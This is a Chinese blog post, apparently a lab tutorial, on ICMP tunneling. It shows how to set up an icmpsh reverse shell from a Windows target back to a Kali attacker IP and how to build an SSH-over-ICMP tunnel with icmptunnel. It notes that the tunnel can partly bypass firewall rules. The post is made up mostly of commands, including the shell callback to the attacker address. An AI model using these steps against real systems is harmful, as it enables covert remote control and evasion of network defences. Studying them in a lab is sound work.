关于ICMP隧道的应用

ICMP反弹shell以及隧道搭建

Posted by hmoytx on November 2, 2019

关于ICMP隧道的应用

ICMP简介

ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP使用IP的基本支持,就像它是一个更高级别的协议,但是,ICMP实际上是IP的一个组成部分,必须由每个IP模块实现。

icmpsh简介

icmpsh是一个简单的基于icmp协议反弹shell的程序,性能较为良好,在主机上运行没有什么权限要求。项目地址
测试环境:

  • kali ip:192.168.1.103
  • win 2008 ip:192.168.1.107
    先在kali里安装icmpsh。
    git clone https://github.com/inquisb/icmpsh.git
    

    然后在kali上运行icmpsh,但是再次之前需要修改下一些配置,禁用对ping的响应回复,防止内核对ping数据包进行响应,影响程序。

    sysctl -w net.ipv4.icmp_echo_ignore_all=1
    

    服务端开启监听。

    cd icmpsh
    python icmpsh_m.py <attacker’s-IP> <target-IP>
    python icmpsh_m.py 192.168.1.103 192.168.1.107
    

    然后将项目下的icmpsh.exe放到靶机上去,执行命令

    icmpsh.exe -t <attacker's-IP> 
    icmpsh.exe -t 192.168.1.103  
    

    191102_1
    191102_2

    icmp隧道

    ICMP隧道是通过ICMP数据包上的TCP连接建立隧道的一种方法。在这里,我们将访问由ICMP数据包封装的ssh会话。因此,会在第3层建立TCP连接,将其封装为icmp数据包。
    环境:
    kali:

  • eth0:192.168.1.103
  • tun0: 10.0.1.2

ubuntu:

  • ens33:192.168.1.117
  • tun0: 10.0.1.3
    在两边机器分别操作:
    git clone https://github.com/jamesbarlow/icmptunnel.git
    cd icmptunnel
    make
    

    然后进行设置网卡操作。

    ./icmptunnel -s
    Ctrl+z
    bg  
    /sbin/ifconfig tun0 10.0.1.2 netmask 255.255.255.0
    

    191102_3
    同理在ubuntu上执行同样命令,将ip改成10.0.1.3.
    然后通过ssh连接即可。
    因为一些问题,我这里连不上ssh。

    总结

    实际中,可以通过wireshark,进行抓包能观察到,走的协议是第三层的协议,在一定程度上能绕过防火墙检测规则。